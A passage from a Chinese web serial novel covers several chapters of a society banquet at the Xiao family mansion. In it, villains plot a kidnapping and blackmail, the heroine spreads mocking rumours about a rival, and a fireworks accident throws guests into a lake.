她离开这几年,变化最大的就是沈眠枝。从前的沈眠枝永远都只会站在角落当一个透明摆件,遇上什么事也只会息事宁人,现在竟然敢跟她叫板了。 一旁的管家垂手立在一旁,额角已然渗出了细密的冷汗。 姜花衫看出萧澜兰目光不善,出声提醒,“萧澜兰,差不多得了,外面现在都是记者,你也不想今晚的宴会搞砸吧?” 萧澜兰的目光在姜花衫身上停留了一瞬,抿着嘴角笑了笑,“当然。管家,替三位小姐准备休息的房间。” 萧管家愣了愣,吓得大气都不敢出,夫人不是让大小姐招呼沈家贵客吗?安排房间是什么意思? 萧澜兰转身,揽镜自顾,“既然大家相看两厌,宴会之前还是少见面。请便~” 傅绥尔皱眉正要开口,却被沈眠枝拉了回去,她摇摇头。 姜花衫抬眸,目光在房间里逡巡了一圈,笑容得体,将手里的礼物递给管家,“东西收好,你家小姐不要就扔了,反正也是随便准备的。” 管家从没看过这么不遮掩的剑拔弩张,抹了抹额前的冷汗,生生挤出笑脸,“几位小姐,请跟我来。” 房门重新合拢,室内恢复了短暂的寂静。 厚重的丝绒窗帘猛地被掀开,沈年阴沉着脸大步踏出。 他方才在帘后听得一清二楚,此刻眼神锐利如刀,“你这是什么意思?你这么得罪她们还怎么绑人?” “急什么?”萧澜兰打断他,慢悠悠地转过身,脸上全然没有方才的半分刻薄,“我要是对她们卑躬屈膝她们才应该防着我,越是这样,她们只会觉得我没救了,看轻我,然后被我蚕食。” 说着,她指尖一撩,揭开妆盒底层拿出一个金属芯片:“姜花衫的客房连通的是萧家密道,到时候我把人迷晕了丢进地道里,要怎么处置都随你。” 沈年眉头紧锁,审视着萧澜兰,“老爷子把姜花衫看得这么重,她要是在萧家出事,你就不担心自己被牵连?” 萧澜兰,“你当我为什么要挑在萧家老宅动手,那当然是因为还有一群老不死的挡路。只要把姜花衫的失踪推脱给他们,不仅能除了姜花衫这个心头大患,还能顺手把萧家的蛆虫一并解决,这叫一箭双雕。” 有了这句话,沈年才算放心,正准备接过芯片,萧澜兰指尖一勾又收了回来。 “有一点要先说好。我能嫁祸萧家人,但堵不住姜花衫的嘴,她要是反咬,老爷子一定会彻查,我刚刚回来,还不想鱼死网破。” “放心。”沈年轻嗤了一声,他扯着嘴角从萧澜兰指尖抽过芯片,“想让一个女人乖乖听话还不简单?你不是恨她站在高处吗?我帮你把她拖下泥潭怎么样?艳照、清白,随便哪一样沈家和她都承受不住,就像你之前那样,怎么样?” 萧澜兰缓缓抬眸,明艳娇俏的容颜上亮起一丝深邃的幽光,“还有一件事,你之前说过,会给我成员里所有名单,是不是该履行承诺了?” 沈年看了她一眼,“我会把名单放在密道里,等我拿到人,东西就给你。”、 * 管家引着姜花衫三人到了客房安顿下来,一路上一句多余的话都不敢说,安顿妥当后,几乎是逃难似的离开了那片低气压区域。 转到无人角落,他定了定神,快步朝着偏厅走去。 偏厅内,气氛与主宅的喜庆喧嚣截然不同,显得格外沉闷压抑。 萧明和萧辉夫妇分别坐在两侧的沙发上,脸色都不太好看。 萧启的弟弟萧昀则独自坐在窗边的单人椅上,指尖夹着一支烟,烟雾缭绕中看不清神情。 最引人注目的,是坐在萧明身侧的一位美艳女人。她约莫三十出头,穿着一身剪裁得体的黑色连衣裙,腹部隆起已经显怀。女人颈间戴着一条价值不菲的珍珠项链,妆容精致,眉眼间却带着一丝挥之不去的忧虑与精明。 管家一进屋,萧明立马问话,“怎么样?打探清楚沈家的态度了吗?” “打探清楚了。大小姐和沈家几位小姐刚刚在屋里都快打起来了,她们一直说着演戏的字眼,我看啊,这沈家就是夫人请来做戏撑场面的。” 听了管家的话,所有人都长舒了一口气。 萧昀弹了弹烟蒂,“江山易改本性难移,萧澜兰那死丫头骄纵惯了,哪会轻易低头?她做出那种事,还想继承萧家,她当我们是死了不成?” 萧辉点点头,“老四说的对,这可是萧家,就算老三真有什么不测,也轮不到一个小丫头片子作萧家的主。” 闻言,美艳女人忽然低声哭了出来。 老大媳妇见状,一脸嫌弃,“好端端你哭什么?” 女人声音哽咽,“我不想萧总有事,我不想肚子里的孩子一出生就没有爸爸。” 媳妇摇了摇头,露出悲悯施舍的笑,“你啊,跟你说了那么多怎么还是不开窍。你肚子里的孩子虽然一出生就没有爸爸,但他有别人这辈子都没有的荣华富贵啊~” 闻言,女人的啜泣声小了一点,“可是大小姐……” “什么大小姐!”萧明不耐烦地打断,“没了沈家的支持她就是丧门星,她想靠这场宴会冲回鲸港,我们就把她打回原形,一个乳臭未干的小贱人还敢妄图掌家,真是不知天高地厚!” 萧昀皱眉,“真要对沈家人动手?万一沈老爷子……” 萧明,“舍不得孩子套不着狼,不过就是做做样子,只要让老爷子相信是萧澜兰本性未改,老爷子必然大怒,到时候她沈娥还有什么?” …… 第850章 谣言始于愚者 管家安排的客房位于萧家老宅的西侧,窗外正对着那片闻名鲸港的镜湖。临近傍晚,夕阳的余晖洒在平静的湖面上,将水面染成一片瑰丽的橙红,偶有飞鸟掠过,点碎一池鎏金。 傅绥尔气呼呼地一屁股坐在窗边的软椅上,“那个老女人还是这么可恶。” 姜花衫被她逗笑,看来傅绥尔很记恨被萧澜兰说是酸笋咸菜。 沈眠枝并没有加入抱怨,她目光随意打量了一圈,缓缓道:“我出去转转。” “诶!”傅绥尔愣了愣,“你一个人吗?” 沈眠枝摇头,“刚刚收到消息,有几个小姐妹也到了,反正宴会还没开始,我跟她们一起。” 小姐妹? 傅绥尔皱了皱眉,正要开口,姜花衫摆摆手,“去吧去吧,这的环境不错,我就不去了,正好休息。” 沈眠枝点头,转身出了房间。 等人走后,傅绥尔双手抱胸,越想越气,“她哪来的小姐妹?” 姜花衫并不在意,闭着眼睛养精蓄锐,“多交朋友是好事。” 傅绥尔侧身看着姜花衫,“你没发现吗?自从枝枝跟周宴珩走得近之后跟我们生疏好多,她现在都有自己的小团体了。” 姜花衫想了想,睁开眼睛坐了起来,单手托腮对上傅绥尔的目光,“怎么定义生疏呢?一定要天天在一起才算亲密吗?你细想一下,每次你需要枝枝的时候,她是不是恰巧都在?” 傅绥尔其实也只是随意抱怨几句,但被姜花衫这么一提醒,她立马反应过来,眸光微亮。 姜花衫笑了笑,“如果只是因为朋友没有一直陪着我们,就怀疑朋友的真诚,枝枝要是知道了,会很难过的。” 傅绥尔有些不好意思,立马从椅子上跳了起来,“我知道了,我现在就去加入,看看那个小团体是怎么个事。” 刚走两步,忽然想到什么,又有些摇摆不定。 姜花衫摆摆手,“去吧,放心!萧澜兰不敢拿我怎么样!” 傅绥尔眼咕噜一转,“我知道,你就想把我支走,对吧?行行行!我走我走!” 姜花衫看着傅绥尔一溜烟的背影,只觉好笑,等人走后,无精打采伸了个懒腰,眼里的松弛散得无影无踪。 * 一个小时后,夜幕彻底笼罩了镜湖,但萧家老宅却亮如白昼。 无数水晶灯盏将主宅映照得金碧辉煌,悠扬的乐曲声透过敞开的雕花大门流淌出来,与宾客们的寒暄笑语交织在一起,汇成一片浮华的交响。 宴会厅内,衣香鬓影,觥筹交错。 鲸港市有头有脸的人物几乎齐聚于此,男人们西装革履,谈笑间是风云变幻的商场博弈;女人们珠光宝气,裙摆摇曳中是无声的攀比与较量。 空气中弥漫着高级香水、雪茄和香槟混合的独特气味,奢靡而醉人。 萧家的主要成员们分散在会场各处,扮演着热情好客的主人角色。 萧明夫妇脸上堆着恰到好处的笑容,与几位政界要员相谈甚欢;萧辉则穿梭在商界巨贾之间,言辞热络;就连一向低调的萧昀,也端着酒杯,与几位文化界的名流低声交谈着。 萧澜兰作为宴会的主角,鹤立鸡群站在宴会厅最显眼的位置,身边众星拱月般簇拥着一群追求者。 她换了一身正红色的露肩长裙,颈间戴着璀璨夺目的钻石项链,妆容精致,笑容明媚,与之前在房间里那个刻薄尖锐的形象判若两人。 她游刃有余地应对着来自四面八方的恭维与试探,仿佛天生就该站在这样的聚光灯下。 “权势还真是个好东西,没想到荡妇还能有洗白的一天,嗤。”关鹤和一群鲸港纨绔围簇一起,对着萧澜兰评头论足。 关楼如今是总统最热候选人,关鹤在年轻一辈的地位也跟着水涨船高。围簇的一群纨绔不敢反驳,纷纷跟着附和。 “诶,我手里还有大小姐高清无码大混战的视频,谁要啊?” “可以啊,竟然逃过了沈家大清盘,发给我发给我,我也重温一下大小姐的风姿。” “啧啧啧,还得是我们阿珩哥啊,萧澜兰送上门都不要,真男人!” 这群人,论门第大多数连萧家的门槛都够不上,但越是这样,他们就越喜欢言语冒犯,似乎这样才能弥补内心的阴暗。 关鹤低头喝了口香槟,轻蔑道:“这种货色,别说阿珩,就是我也Y不起来。” “什么,你和周宴珩Y不起来?” 一群调笑的男音里突然掺和进了一声轻扬的女音,关鹤愣了愣,回头瞥了过去。 “噗——咳咳咳咳!!!姜……咳咳咳!” 关鹤被呛得说不出话,好不容易顺过气,惊疑道:“你怎么混进来的?” 姜花衫一脸嫌弃地捂了捂鼻子,“我看你们这边热闹,我一个人落单怪无聊的,就来凑凑热闹。对了……”她一脸无辜,眼里闪着恶意,“你刚刚说什么?你和周宴珩痿了?” 关鹤,“……” …… 第851章 赴宴 空气仿佛凝固了几秒。 前一秒还簇拥在关鹤身边的纨绔们像被触发了什么警报,纷纷避之不及地四散开来。 毕竟,这位鲸港嫡公主的“丰功伟绩”在圈子里无人不晓,谁沾谁死。 关鹤一脸晦气,暗叫倒霉,连解释都懒得解释,转身就走。 他最近闯了不少祸,来之前关楼特意耳提面命,警告他不许惹事,否则就直接发配回老家。 姜花衫就是个灾星,他已经在她手里栽过几次跟头,这个节骨眼上不能再冒险了。 但姜花衫却不想放过他,紧紧跟在他身后,一副好奇宝宝的模样,大声问道:“诶!你别走啊?话还没说完呢!你和周宴珩怎么就萎了?萎到什么程度啊?是不能用还是怎么的?我家有个小中医,可以给你们看看……” “姜花衫!!!” 关鹤好不容易顺过气,被她这几嗓子喊得立刻失去了理智,抬手就想捂住她的嘴。 这宴会场上都是熟人,要是她再喊两句,他和周宴珩的脸都要丢尽了。 姜花衫看出他的意图,抬手点着关鹤:“你想清楚再动手。敢碰我一根手指头,信不信我讹死你。” 说这话时,她又刻意压低了声音。 关鹤捏紧拳头,咬牙切齿:“姜花衫,你他妈还是不是个女人?这种话你也好意思在大庭广众之下说?” 姜花衫歪头甩了甩刘海,一副天生丽质难自弃的傲娇模样:“我是不是女人已经很明显了,但你是不是男人就不知道了。” 关鹤:“……” 攻击还没完。 姜花衫又笑着朝他眨了眨眼:“你可以在大庭广众之下随意评判一个女生的样貌、身体,为什么我就不能在同样的场合谈论你的无能?这不公平。你以权压人,就总会遇到比你更有权的人,比如我~” 关鹤气得五官扭曲:“你少他妈放屁!你嚷嚷试试?大家躲着你是把你当瘟神,你真把自己当盘菜了?像你这样的,就算有沈家撑腰也没人敢要!” “噗嗤!”姜花衫被逗笑了,捂着嘴像看傻子一样看着他:“你对女人最大的诅咒竟然是没人要?哈哈哈哈哈哈——” 一连串的笑声让关鹤觉得备受侮辱。 他不服气地反问:“你笑什么?” “笑什么?我有权有势有钱有颜,还怕没人要?” 姜花衫扶着额头,打量他片刻,啧啧摇头:“别说我了,我看你才应该警惕。” “像你这样的病情,娶了老婆又不能给她幸福,大概率会逼得女方去外面找乐子。到时候女方生一个孩子不是你的,再生一个不是你的,又生一个还不是你的。你就用这副残缺的身体,养活了别人的老婆和孩子。” 关鹤已经完全代入,气得跳起来就要打人:“我操你……” “阿鹤哥!冷静!”周围的小弟见状连忙拉住急红眼的关鹤,“可不能动手啊,动手就中了她的计!” “我怎么了?我不过是根据你的身体状况好心提醒你罢了。”姜花衫一脸无辜,爱莫能助地耸了耸肩,“算了算了,既然你不领情,我还懒得说呢~” 白色裙摆划出一道轻盈的弧度,姜花衫几个转身就精准地挤进了不远处傅绥尔和沈眠枝所在的小圈子。 一进圈子她就没闲着,捂着嘴巴一会儿跟傅绥尔咬耳朵,一会儿又拉着沈眠枝说悄悄话,表情夸张丰富,时不时还朝关鹤这边指指点点。 不一会儿,那一圈的年轻姑娘们都炸开了锅,不约而同地看向关鹤,眼神或惊讶、或鄙夷、或同情,就差把那些心思直接写在脸上了。 关鹤:“……” 周围的小弟咽了咽口水:“她就这么明目张胆地把谣言传出去了?” “我!”关鹤只觉得气血上涌,迈步就要去揍人。 “诶!鹤哥鹤哥!冷静冷静!” 关鹤气得胸口剧烈起伏,额角青筋直跳,全身的血液都在沸腾,最后几乎是被几个小弟连拖带拽地“请”出了宴会厅的中心区域。 “不行!老子这辈子都没这么憋屈过!绝不能就这么放过这个狗东西!” 关鹤越想越气,正准备奋力挣脱束缚时,一道低沉略带冷感的声音自身侧响起,“吵什么?” 这声音像一盆冰水,瞬间浇熄了他心头的怒火。 关鹤猛地转头,却见周宴珩不知何时出现在了通往露台的廊柱旁。 他穿着一身剪裁完美的深灰色西装,头发向后梳拢,露出饱满的额头和清晰的发际线。灯光在他挺直的鼻梁一侧投下淡淡的阴影,薄唇紧抿,勾勒出淡漠的弧度,优越的骨相让他看上去比平时更加惹眼。 “阿珩!”关鹤怔了一秒,立刻甩开身边的人。 可刚上前两步,忽然想到什么,他的眼神又开始闪躲:“你,你怎么来了?” 赴宴之前,关鹤曾联系过周宴珩,但对方没有给出明确答复,关鹤理所当然地认为他不会来了。 周宴珩淡淡瞥了关鹤一眼,目光转向主厅:“你们都在这儿做什么?” 聚在一起的纨绔们抓了抓头发,欲言又止地看向关鹤。 关鹤生怕周宴珩知道自己刚才干的蠢事,立刻打起精神:“我们正说萧家的宴会太无聊了,准备出去找点乐子。走吧,你也不想看见萧澜兰来找晦气吧?” 周宴珩表情淡然,直接越过关鹤往宴厅走去:“她都主动邀请我了,不来岂不是失礼?” 主动邀请? 关鹤还没反应过来,周宴珩的身影已经转入宴厅。 他犹豫片刻,死就死吧,二话不说又跟了上去。 * 周宴珩自鲸鱼岛事件后鲜少在公众场合露面,再加上他与萧澜兰几乎人尽皆知的旧怨,一出场就成为了全场焦点。 原本喧闹的宴会厅出现了片刻凝滞,交谈声、笑声都诡异地低了几分,无数或明或暗的视线聚焦在他身上。 萧澜兰自然也看到了他。 她脸上的笑容瞬间僵硬,握着酒杯的手指微微收紧,但很快,那抹不自然就被更加明媚的笑容取代,甚至比之前更加耀眼。 她主动迎上前去,在周宴珩面前站定,红色的裙摆像一团燃烧的火焰,与周宴珩冷硬的深灰色形成鲜明对比。 “没想到你真的来了。” 萧澜兰招手示意,服务生立刻端上红酒。她主动给两只空酒杯各倒了半杯红酒,优雅地取过一杯递给周宴珩。 “阿珩哥,敬你~” …… 第852章 光明正大地来 萧澜兰的声音依旧娇媚,仿佛两人之间从未有过那些不堪的过往。 周宴珩并未在第一时间伸手去接,只是低眸打量着萧澜兰递到眼前的酒杯,似笑非笑地扯了扯嘴角。 时间仿佛在这一刻被拉长。 周围宾客故作不经意地交谈着,目光却时时关注着灯光下的这一对璧人。 “他怎么来了?” 原本忙着应付太太圈的沈娥,在看见周宴珩的那一刻气得脸上血色尽失。 当年若不是周宴珩落井下石,她的女儿也不会年纪轻轻就躺在手术台上剜肉,更不会被人用这世上最恶毒的话羞辱。 没有人比沈娥这个母亲更恨周宴珩,恨得恨不能生啖其肉。 但眼下是在萧家,即便沈娥再恨,也不会失了主家风度,毁了精心准备的宴会。 “周家少爷怎么来了?难道两家讲和了?” “什么讲和?没看见气氛不对吗?周家少爷连酒杯都不接,看来是有人热脸贴了冷屁股。” 沈娥皱眉,看着几个窃窃私语的贵妇。那些人与萧辉、萧明夫妇交好,一看就是没安好心。 宴会的气氛越来越怪异,诸如此类的议论声也渐渐多了起来,就连不少年轻的男宾看向萧澜兰的眼神也暧昧了起来。 这不是一个母亲想看到的。 沈娥深吸了一口气,正准备上前缓和气氛,忽然一道年轻的声音响起: “他好装啊!来都来了,可不就是想和好?现在人家女生主动,他又装起来了,这种男的真的好讨厌啊~” 这声音一出立马压过了周遭嗡嗡的议论声。 周宴珩挑眉,往人群里看去。 敢这么大声议论他的还能有谁? 关鹤咬牙切齿,新仇旧恨加在一起,终于忍不住爆发,指着人群中心的姜花衫怒道:“姜花衫,你有完没完!” 姜花衫正捂着嘴和傅绥尔低声说话,被关鹤点名,她立马又转头跟身边的女生嘀咕:“你看,我说的没错吧?有缺陷的人就是不能要,他根本控制不住自己的脾气,以后……说不定就会家暴。” 那女生听见那两个隐晦的词先是脸红,随即一脸鄙夷地看向关鹤:“家暴男最讨厌了。” “……” 尼玛! 关鹤已经意识到,这是他被造谣最严重的一次,有可能这辈子都洗不白了。 他决定不再惯着姜花衫,奋力为自己辩白:“姜花衫,在背后造谣算什么本事?敬酒的人还没说话,你一个外人操什么心?这么喜欢出风头,到底是什么居心?” 姜花衫充耳不闻,又歪过头跟另外一个女生嘀咕:“看见没,听说不能那个……的人就喜欢小肚鸡肠,你们看,是不是?” 女生们的目光一致看向周宴珩,那隐晦的眼神让他极为不适。 “……” 周宴珩淡淡看了姜花衫一眼,在她无辜的笑容里看到了挑衅的恶意。 “阿珩哥……”萧澜兰对外界的纷争置之不理,眼里掠过一丝幽暗的微光,往前一步,轻声道:“喝下这杯,前尘不计,祝你度过一个愉快的夜晚。” 闻言,周宴珩的目光才慢慢落回她的脸上。 这话里的暗示,结合之前沈年递出的橄榄枝,已经明显得不能再明显。 周宴珩的唇角几不可察地牵动了一下。 他伸出手,修长的手指握住了那只水晶杯的杯脚,他没有与萧澜兰碰杯,只是将酒杯移至唇边,象征性地轻抿了一口那猩红的液体。 动作优雅,却毫无温度。 就在众人以为他会说些什么的时候,周宴珩的举动却让所有人的猜测都落了空。他握着那只浅尝辄止的酒杯,径直转身,目标明确地朝着人群中某个方向走去。 他的眼神深邃暗沉,带着无形的压迫感,仿佛蛰伏的猎豹盯上了胆大妄为的猎物。 人群下意识地分开一条通路。 姜花衫昂着下巴,脸上依旧是那副气死人不偿命的笑容。 她当然知道周宴珩是冲着她来的。之前在医院踹的那一脚力度有多重,她比谁都清楚。周宴珩在她手里吃了这么大的亏,以他那睚眦必报的性格,必然不会轻易放过她。 但她不怕,对付周宴珩,她有的是力气和手段。 就在两人目光交汇一触即发之际,一道纤细的身影却悄然插入了他们之间。 “阿珩哥~” 沈眠枝步履轻盈上前,极其自然地挽住了周宴珩的胳膊,动作亲昵而不显突兀,仿佛演练过无数次。 “我还以为你不来了呢~医生说了你需要静养,不宜饮酒,你忘了?” 沈眠枝熟稔的关心,落入了周围竖着耳朵的宾客耳中,信息量巨大。 当初鲸鱼岛事件,沈眠枝和周宴珩一起共患难的事,报纸头条都刊登过。再加上,周家从周宴珩受伤那日起就一直闭门谢客,但沈眠枝却对他的伤情如此了解,让人不多想都难。 最重要的是,沈眠枝三言两语就替周宴珩解释了不端杯的原因,与劣迹斑斑的萧澜兰对比,高下立见。 周宴珩的脚步倏然顿住,垂眸看向突然介入的沈眠枝,眉头几不可察地蹙了一下。他没有立刻抽回手臂,勾了勾嘴角,看她继续演。 沈眠枝顺手拿过他手里的酒杯递给关鹤,语气关切:“医生的话不能不听,身体好之前,不能碰酒。” 这话看似温柔,但已经无异于在宣誓主权。 周宴珩笑了笑,以为这样就能拦住他了? 他置若罔闻,一把抽出胳膊,目光越过沈眠枝,重新投向姜花衫刚才站立的位置。 都以为他只敢背地里下手?他偏偏就要光明正大地来。 …… 第853章 助兴节目 只可惜,姜花衫根本不给他机会,好好一个人忽然就原地消失了。 周宴珩的眉头几不可察地蹙起,视线迅速在人群中扫过,最后在宴会厅另一侧找到了她。 那个宴由沈娥主导,聚集了众多太太圈的贵妇们。姜花衫正一脸乖巧地挨着一位珠光宝气的夫人坐着。 她微微侧着身子,一只手拢在嘴边,对着那位夫人和旁边几位竖着耳朵的贵妇低声说着什么。表情生动极了,时而蹙眉,时而撇嘴,另一只手还夸张地捂了捂耳朵,仿佛在分享什么不得了又"不堪入耳"的秘密。 那几位贵妇听得聚精会神,脸上露出或惊讶或鄙夷或恍然大悟的神情,目光还不由自主地、隐晦地朝周宴珩和关鹤的方向瞟来。 显然,祸坨子的"谣言工厂"已经成功开辟了新的"生产线",目标客户群精准定位在了掌握家族话语权的太太圈层。 还是这么狡猾。 周宴珩:"......" 关鹤凑近周宴珩,压低声音:"阿珩,你醒醒吧,姜花衫这狗东西就是个灾星。" 周宴珩淡淡收回目光,垂眸瞥了他一眼:"你知道她们在说什么吗?我总感觉这些人的眼神很奇怪。" "!"关鹤眉心直跳,头摇得跟拨浪鼓似的,"不知道,但肯定不是什么好话。要不咱们还是先走吧,省得在这恶心。" "才刚来就走,有失礼数。"周宴珩置若罔闻,转身走向宴会休息区。 礼数?他们什么时候讲过礼数了? 关鹤一头雾水,拧着眉头回看了姜花衫一眼,瞬间火气又冲到了嗓子眼。 这狗东西又换了个圈子,这次更过分,拉着给她倒酒的服务生嘀咕了起来。 关鹤立刻意识到事情的严重性,这些服务生面对的客户群体大,代表的阶层广泛,再这么下去谣言会传遍全A国的。 萧澜兰站在原地,目光越过众人环视了一圈,将手中的红酒一饮而尽,随后丝毫不受影响,继续招待客人。 姜花衫自从坐进太太圈后,就一直黏在沈娇身边。 那边都是长辈,周宴珩还不至于失智到主动送上把柄,独自坐在角落看戏。但没一会儿功夫,他身边就围满了阿谀奉承的人。 尽管中间出现了不和谐的插曲,宴会终究还是在其固定轨道上继续运行。 悠扬的乐曲声中,宾客们陆续到场,重新举杯欢谈。 苏夫人携苏韵翩然而至。 苏夫人年近五十,保养得宜,穿着一身雅致的藕荷色旗袍,颈间佩戴着润泽的珍珠项链,气质雍容,笑容温婉得体。 而她身旁的苏韵则是一身紫色小礼裙,妆容淡雅,长发挽起,露出纤细优美的脖颈。她不像萧澜兰那般明艳张扬,也不似姜花衫那般仙姿昳丽,她更像一株需要细心呵护的幽兰,安静而柔美。 苏夫人领着苏韵同太太们见礼,贵太太们热络寒暄。 沈娥笑着将萧澜兰叫到跟前:"澜兰,这是你苏家妹妹,好好招呼人家。" 萧澜兰看着眼前的少女,思绪一下子回到了几年前。 她记得苏韵,当初在育才拍摄电视剧时,被她扇了十几个耳光的女生。那时她故意为难苏韵,除了看不惯对方忤逆自己外,还有一个更重要的原因,那就是苏韵勾引过周宴珩。 没想到当初的蝼蚁摇身一变竟成了苏家大小姐。 苏韵敏锐地察觉到萧澜兰眼中的鄙夷,淡淡点了点头,转身坐到了姜花衫身边。 苏夫人愣了愣,一时有些尴尬。但她了解自己的女儿,并未勉强,笑着圆场:"让孩子们自己去玩吧。" 沈娥脸上的笑容微微僵滞,但很快反应过来,轻轻拍了拍萧澜兰的肩膀:"你们先聊,我带澜兰去那边打个招呼。失陪~" 姜花衫刚跟送甜点的服务生嘀咕完,回头见苏韵坐在身边。 苏韵有些不自在,正要解释,姜花衫立即凑上前,在她耳边聊起了八卦。 关鹤隔着重重人群监视姜花衫,见她竟然又跟苏韵聊了起来,立刻坐不住了。 苏家要是听信了姜花衫的谣言,他的婚事岂不是要黄了? 果不其然,他刚起身,苏韵的目光就隔着重重人海瞥了过来,那眼神除了冰冷刺骨,还带着一抹不加掩饰的鄙夷。 关鹤:"......" 周宴珩早就注意到关鹤上蹿下跳的情绪反常,淡淡瞥了他一眼:"你身上长虱子了?" "完了!"关鹤失魂落魄地跌坐回去。 "......"周宴珩的厌蠢症犯了,懒得再理会,抬眸打量起宴会的环境。 他现在唯一好奇的是,萧澜兰和沈年要怎么把这出戏唱完? "诸位,请静一静。" 就在这时,萧明端着一杯酒,笑容满面地走到宴会厅稍显开阔的位置,轻轻敲了敲酒杯,吸引了众人的注意。 随即,音乐也跟着停了下来。 "今天是我侄女澜兰回家的好日子,承蒙各位赏光,我萧家蓬荜生辉。" 萧明声音洪亮,目光扫过全场时在沈娥和萧澜兰身上停顿了一瞬,继续说道:"为了庆祝这个团圆的时刻,也为了感谢各位的到来,萧家特意准备了一场欢庆烟火,就在镜湖畔!还请诸位贵客随我一同移步外厅露台。" 沈娥端着酒杯的手指几不可察地收紧了一瞬,很显然,萧明此举这并不在她的计划之内。但萧明已经说出口,宾客们也被挑起了兴致,她也只能强忍着怒意配合。 来了? 周宴珩懒懒站起身。 他一动,身边的人立刻跟着起身。 关鹤还沉浸在谣言的打击中,蔫蔫地抬头,没什么兴致地看着周宴珩:"你要去?" 周宴珩抬眸看向人群。姜花衫挽着沈娇的胳膊,兴致勃勃地跟在人群里。 似是感应到他的注视,姜花衫突然回头。 霓虹流转在她上扬的眼尾,葱白手指翘起,隔着喧闹人潮对他勾了勾,十分挑衅。 狡猾的猎物这么勾搭他,一定另有所图。 周宴珩眼眸微眯,扬起嘴角,想也没想便移步跟了上去。 "去,为什么不去?" …… 第854章 不出意外的意外 彼时镜湖畔的露台早已布置妥当,柔软的地毯、舒适的沙发椅,侍者穿梭其间奉上温热的饮品与薄毯,以抵御夜间的微寒。 宾客们谈笑着陆续就位,期待着即将在墨色湖天之间绽放的绚烂。 "这个萧澜兰,什么都要比。当年爷爷为你庆生才有了鲸港百年烟火的名场面,萧家什么家底,也不怕东施效颦。" 傅绥尔对烟花秀一点兴趣都没有,不过看着姜花衫来凑热闹,才勉为其难跟了来。 姜花衫四处环顾,一把拉住她的胳膊,压低了声音:"待会看烟花的时候,你想办法带着女王去二楼天台。" 说着,她抬头看向天台的位置。 傅绥尔原本还一脸奚落,闻言脸色微变,顺着姜花衫的视线看了过去。 她好似明白了什么,皱了皱眉:"那你呢?" 姜花衫低头,又凑近了几分,冲她眨了眨眼:"我去凑凑热闹。" 傅绥尔一把拉住她的手腕,迟疑片刻,又缓缓松开:"小心点。" 萧明站在露台前方,满面红光:"诸位,请看!" 他朝着湖对岸的方向打了个手势。 话音刚落,第一朵烟花伴随着尖锐的呼啸声升空,在夜幕的最高点轰然炸开,金色的流火如同瀑布般倾泻而下,引来一片低低的惊叹。 紧接着,第二朵、第三朵……五彩斑斓的图案接连不断地在夜空绽放,将镜湖映照得流光溢彩,也照亮了露台上每一张仰起的脸庞。 姜花衫被头顶的烟花吸引,莫名松开了沈娇的手,为了看得更清楚,顺着人群往临近湖边的露台走去。 周宴珩站在人群稍外围的位置,他的目光却并未停留在天空,从始至终都锁定在人群里的那抹白色身影。穿着白色礼服的人很多,但很奇怪,他就是能一眼找到姜花衫。 当看见姜花衫主动往湖边走去,周宴珩的眉头微微蹙起,在他的认知里,姜花衫可不是这么没有警惕心的人。 周宴珩思绪微转,转眸看向人群里的红色身影。 萧澜兰手拿香槟,正和簇拥在她身边的年轻男女有说有笑,那身正红色的长裙在璀璨烟火与湖光映照下,愈发显得灼眼夺目。 就在周宴珩目光投去的瞬间,萧澜兰像是心有所感,倏地转头看了过来。 隔着喧嚣的人群与漫天炸开的流光溢彩,她缓缓举起了手中那只一直未曾放下的水晶酒杯,脸上的笑容越发明艳。 就在这时—— "砰——砰——" 几声异常沉闷的爆响从高空传来,数道拖着尾焰的光点没有按照预定轨迹升空,而是如同失控的火蛇,歪歪扭扭地朝着露台的方向疾射而来! "小心——!" 惊呼声四起! "砰!哗啦——!" 一颗烟火在露台边缘炸开,火星四溅,灼烧了昂贵的帷幔,点燃了附近摆放的果盘装饰。 "啊——!" "快跑!" 人群瞬间炸开了锅。 惊恐的尖叫、慌乱的推搡、杯盘落地的碎裂声交织在一起。原本优雅从容的宾客们此刻如同受惊的鸟兽,拼命想要逃离危险区域。 露台本就地势临水,空间有限,在这突如其来的惊吓和混乱的推挤下,靠近破损栏杆处的人群如同下饺子一般,惊叫着跌入冰冷的镜湖之中! 一时间"扑通!扑通!"落水声不绝于耳。 贵妇们华丽的礼服吸饱了水变得沉重,男宾们狼狈地在水中扑腾。会水的奋力游开,不会水的惊恐呼救,场面一片混乱。 周宴珩早在异响发生的瞬间就已经有了防备,他一把拉过身旁的关鹤,将他甩出了人群,紧接着目光锐利如鹰隼般飞快地扫过全场,但混乱的人群里,已经没有了那抹蹁跹的白色身影。 关鹤被撞得一个趔趄差点摔倒,好不容易稳住身形,吓得脸色发白。 他想也没想折返回来,拉着周宴珩一起撤退:"发什么呆,赶紧走。" 周宴珩不死心,还想往前去找人。 关鹤气得牙痒痒,回头朝身后那些想跑不敢跑的纨绔怒骂:"草!愣着做什么?还不快来帮!!" 这怒吼像一道鞭子抽在那些吓呆的纨绔身上,他们如梦初醒,也顾不得许多,一窝蜂涌上来,七手八脚地抓住周宴珩的手臂、肩膀,几乎是架着他往后拖。 * "衫衫!!" 沈娇早在第一时间就被傅绥尔劝去了二楼露台,反应过来后立马准备下去找人。 傅绥尔虽然自己也心焦如焚,但还记得姜花衫的嘱托,她紧紧握住沈娇冰凉颤抖的手,大声在她耳边喊道:"妈,您先冷静!这个时候冲进去除了制造混乱没有任何帮助,衫衫她......她不会有事的,她肯定躲到安全的地方去了!" 沈娇点头:"你说的对。" 她眼里闪过一抹狠厉,转身下了露台,在厅内找了一圈,径直冲向沈娥所在的方向。 此刻的沈娥也正被一群惊慌失措的贵妇围着,脸色苍白,强作镇定地指挥着管事和服务生救人。 "沈娥!"沈娇二话不说上前推了沈娥一把,目光如刀般剐在沈娥的脸上,"是不是你搞的鬼?!我告诉你,小花儿要是有个三长两短,我跟你没完!" 沈娥被这突如其来的指控弄得一愣,随即涌上的是巨大的委屈和愤怒,她尖声道:"沈娇你疯了!胡说八道什么?这是意外!是烟花出了问题!" "意外?"沈娇根本不信,冷笑道,"怎么偏偏就这么巧?我看你就是......" 她的话还没说完,一个管家模样的人连滚带爬地冲了过来,脸上毫无血色,声音带着哭腔打断了谈话:"夫人!夫人!不好了!大小姐......大小姐她也不见了!落水的人里没找到她,到处都找不到啊!" "什么?!" 沈娥脸上的血色瞬间褪得一干二净,身体猛地晃了晃,差点栽倒在地,被旁边的仆妇慌忙扶住。 …… 第855章 血脉联盟者 没有人知道的是,姜花衫的身影此刻已经消失在了那片混乱的边缘。 